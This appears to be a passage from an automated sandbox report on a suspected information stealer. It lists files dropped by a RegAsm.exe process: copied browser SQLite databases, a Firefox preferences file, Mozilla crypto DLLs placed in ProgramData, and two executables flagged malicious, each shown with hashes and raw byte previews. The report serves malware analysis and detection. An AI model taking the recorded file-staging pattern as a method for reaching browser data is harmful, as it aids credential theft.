SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\HDAFHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JDGCGDBGCAAE\HDGHJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\HDGHJE-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\IDHJEB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\IIDAAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\JJJKFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\JJJKFB-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\KFBFCA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\KFIDAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\KJKJJJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIIDGCFHIE\HJECAA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIIDGCFHIE\KEGCFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIIDGCFHIE\KKKJEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFHJJJKKFHIDAAKFBFBF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KKJKFBKKECFHJKEBKEHIDAEBKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userBAKKEGCAAE.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	391072
Entropy (8bit):	7.987128579531616
Encrypted:	false
SSDEEP:	6144:7RNcX3Y/L03IZz1t0oQqXl8uRa2rIfpympCmd75n3L2BdEtD+gEO:7RNcXoIYZz1t0IDr2y9md75bAy1rEO
MD5:	C7E7CFC3ED17AEF6C67C265389593EE3
SHA1:	44AAEA45A59F194F33FF435A430FCBD9E7434AD5
SHA-256:	0DDEBB36BEB37631DF17F68A14C90519F93BA7C200C62003527273119442E1FF
SHA-512:	6C5F7A6626AAC4B583D1165C4EA3BC69E315CDCE94D3E1D3442DC9643E0983F2A80E0495BAC79D4AA0E4DB309F0AAB373D917E6AF12FFAAD333ABA21E16249D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ..f................................ ........@.. ..............................."....`.....................................S.......B...........x...(&..........`................................................ ............... ..H............text........ ...................... ..`.rsrc...B...........................@..@.reloc..............................@..B.......................H.......@... ..............................................................[(<.sT.w/.....x~I......T..T5Q>.z.....b.S./....2E.w.>../.d..t_.s........o>...............UV.S.....a5..JK....Y.w......#....s."....-d..-7..av..n.\....]............L...t...:2o1.!.......q9_O......K.^...."...)0...3..$.5.,..}.....3cx.z.....2I}.......I.e...$. .....V ..OG...Ua.$+...%\.B-.U...3....nc...,..lf...f.o..`. bO.c2...R..]0o.f....<.9..^n\.....\..2....=.nk..7 .,o.8.#.b...*.T..g}qB.[

C:\Users\userDHCAECGIEB.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423840
Entropy (8bit):	7.988954975057422
Encrypted:	false
SSDEEP:	12288:hQq9JI/vWhNOAE2wMUZ0iR4HHW02AEPzYhDU9qcEO:5JXfOATt3202AHhD5ct
MD5:	237AF39F8B579AAD0205F6174BB96239
SHA1:	7AAD40783BE4F593A2883B6A66F66F5F624D4550
SHA-256:	836CE1411F26919F8FB95548D03C2F4DFD658FC525DFE21C7BE8ED65F81A5957
SHA-512:	DF46993A2029B22CBC88B289398265494C5A8F54EA803E15B7B12F4A7BC98152DF298916D341E3C3590329B35A806788AE294BAE2E6832F2A2AC426D0145504D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
